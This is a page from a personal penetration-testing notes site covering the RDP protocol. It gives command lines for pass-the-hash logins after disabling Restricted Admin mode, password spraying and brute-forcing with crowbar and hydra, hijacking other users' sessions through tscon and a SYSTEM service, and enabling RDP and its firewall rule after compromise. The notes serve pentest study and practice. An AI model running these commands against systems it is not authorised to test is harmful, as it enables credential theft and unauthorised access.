πŸ““
Sfoffo - Pentesting Notes
View on GitHub
  • 🏠/home/sfoffo/.pt-notes
  • 🏳️Contributions
    • 2024 Contributions
      • CVE-2024-42845
      • CVE-2024-41819
      • CVE-2024-41943
      • CVE-2024-50344
  • πŸ€Support this Project
  • πŸ“‚Active Directory
    • Initial Access
    • Internal Enumeration & Lateral Movement
    • Privilege Escalation to Domain Admin using Known Exploits
    • Domain Trusts
  • 🐧Linux Privilege Escalation
    • Enumerating Attack Vectors
    • Privileged Groups
    • Environment Variables Abuse
    • Capabilities Abuse
    • Programs, Jobs and Services
    • Miscellaneous Techniques
    • Recent CVEs
  • πŸͺŸWindows Privilege Escalation
    • Enumerating Attack Vectors
    • Excessive User Rights Abuse
    • Built-in Groups Abuse
    • File System ACLs
    • Services Hijacking
    • User Account Control (UAC) Bypass
    • Living off the Land
  • πŸ›Bug Bounty Hunting
    • Bug Bounty Tools
  • πŸ•ΈοΈWeb Applications
    • Web Attacks
      • Cross Site Scripting (XSS)
      • SQL Injection (SQLi)
      • File Upload Vulnerabilities
      • Insecure Direct Object References (IDOR)
      • OS Command Injection
      • Local File Inclusion (LFI)
      • Remote File Inclusion (RFI)
      • XML External Entities (XXE)
      • HTTP Verb Tampering
    • Web Technologies
      • Tomcat
      • CGI Applications
      • WordPress
      • WebDav
      • Microsoft IIS
      • SAP Netweaver
      • Joomla
      • Drupal
      • Gitlab
      • Jenkins
      • osTicket
      • PRTG Network Monitor
      • Splunk
    • Fuzzing
  • πŸ”Information Gathering
  • πŸ“œProtocols and Services
    • DNS
    • FTP
    • IMAP
    • IPMI
    • MSSQL
    • MySQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • SMB
    • SMTP
    • SNMP
  • πŸ‘ΎUtilities, Scripts and Payloads
    • Shells and Payloads
    • Metasploit Framework
    • File Transfers
    • Pivoting, Tunneling, Port Forwarding
    • Password Attacks
Powered by GitBook
On this page
  • Introduction
  • RDP Enumeration & Interaction Commands
  • RDP Session Hijacking
  • Enabling RDP (Requires local Administrator)

Was this helpful?

Edit on GitHub
  1. Protocols and Services

RDP

Introduction

  • By default, Remote Desktop Protocol (RDP) uses port TCP/3389.

  • RDP is a protocol developed by Microsoft which provides a user with a graphical interface to connect to another computer over a network connection.

  • It is one of the most popular administration tools, allowing system administrators to centrally control their remote systems with the same functionality as if they were on-site.

  • Unfortunately, while RDP greatly facilitates remote administration of distributed IT systems, it also creates another gateway for attacks.


RDP Enumeration & Interaction Commands

Login to RDP:

  • Option 1: xfreerdp /v:10.10.10.100 /u:admin /p:password

  • Option2: rdesktop -u admin -p password123 10.10.10.100

  • Add a local directory as an SMB Share: xfreerdp /v:10.10.10.100 /u:admin /p:password +home-drive

  • Pass the Hash login:

    1. Disable Restricted Admin Mode: reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

    2. Perform PtH: xfreerdp /v:10.10.10.100 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA

Finding Credentials:

  • Password spraying against the RDP service: crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

  • Brute-forcing the RDP service: hydra -L usernames.txt -p 'password123' 10.10.10.100 rdp


RDP Session Hijacking

To successfully impersonate a user without their password, we need to have SYSTEM privileges and use the Microsoft tscon.exe binary that enables users to connect to another desktop session.

Performing Session Hijacking:

  1. With SYSTEM Privileges:

    • Impersonate a user without its password: tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

  2. Without SYSTEM Privileges:

    • Create a windows service running as SYSTEM: sc.exe create servicename binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0"

    • Start the poisoned service: net start servicename


Enabling RDP (Requires local Administrator)

If you have control over a local Administrator account, you can enable RDP and use xfreerdp to perform post-exploitation in better conditions

To do so, follow these steps:

  1. enable RDP: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

  2. enable RDP from the firewall config: netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

  3. disable the restricted admin mode: reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Last updated 1 year ago

Was this helpful?

πŸ“œ